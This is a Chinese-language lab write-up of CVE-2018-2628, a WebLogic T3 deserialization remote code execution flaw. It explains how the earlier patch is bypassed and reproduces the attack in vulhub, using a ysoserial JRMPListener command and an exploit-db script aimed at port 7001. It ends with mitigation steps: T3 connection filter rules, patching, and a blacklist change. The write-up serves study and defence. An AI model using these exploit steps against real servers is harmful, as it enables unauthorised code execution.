Weblogic简介
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
WebLogic是美商oracle的主要产品之一,系并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.1.3) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具
Weblogic WLS Core Components 反序列化命令执行漏洞
漏洞概述 | 在 WebLogic 里,攻击者利用其他rmi绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。 CVE-2018-2628为CVE-2017-3248修复版本的绕过,远程攻击者可利用该漏洞在未授权的情况下发送攻击数据,通过T3协议在Weblogic Server中执行反序列化操作,利用RMI(远程方法调用) 机制的缺陷,通过 JRMP 协议达到执行任意反序列化 payload 的目的。CVE-2018-2628原理为在CVE-2017-3248补丁中InboundMsgAbbrev的resolveProxyClass处理rmi接口类型,只判断了java.rmi.registry.Registry,找一个其他的rmi接口即可绕过,比如java.rmi.activation.Activator。 |
| 漏洞编号 | CVE-2018-2628 |
影响版本范围 |
|
复现环境 | vulhub+kali |
攻击IP/靶机IP | 192.168.42.245 192.168.42.245 |
复现
环境启动docker-compose up -d


首先启动一个JRMP Server监听地址:https://github.com/tdy218/ysoserial-cve-2018-2628执行命令java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections1 "cmd"PS 6666为本地监听端口 cmd为需要执行的命令

然后,使用[exp.py](https://www.exploit-db.com/exploits/44553)脚本,向目标Weblogic(`http://your-ip:7001`)发送数据包

其中,`[victim ip]`和`[victim port]`是目标weblogic的IP和端口,`[path to ysoserial]`是本地ysoserial的路径,`[JRMPListener ip]`和`[JRMPListener port]`第一步中启动JRMP Server的IP地址和端口。`[JRMPClient]`是执行JRMPClient的类,可选的值是`JRMPClient`或`JRMPClient2`。exploit.py执行完成后,执行`docker-compose exec weblogic bash`进入容器中,可见/tmp/success已成功创建。

修复建议
此漏洞产生于Weblogic T3服务,当开放Weblogic控制台端口(默认为7001端口)时,T3服务会默认开启。关闭T3服务,或控制T3服务的访问权限,能防护该漏洞。对于不在Oracle官方支持范围内的版本,由于没有最新补丁,推荐采用此种方式进行修复。同时,Weblogic采用黑名单的方式进行反序列化漏洞的修复,存在被绕过的风险,因此控制T3服务为防护Weblogic RMI这类反序列化漏洞的有效方式。控制T3服务方式:
a)进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。b)在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:127.0.0.1 * * allow t3 t3s,0.0.0.0/0 * * deny t3 t3s(t3和t3s协议的所有端口只允许本地访问)。c)保存后需重新启动,规则方可生效。
2. 更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本。
3. 如以上两种策略都无法采用,则可以考虑用更改代码的方式。以10.3.6.0为例,在weblogic.utils.io.oif.WebLogicFilterConfig的黑名单DEFAULT_BLACKLIST_CLASS中添加”java.rmi.server.RemoteObjectInvocationHandler”,编译并更新swlclient.jar、wlthint3client.jar这两个用到该类的包[4]。




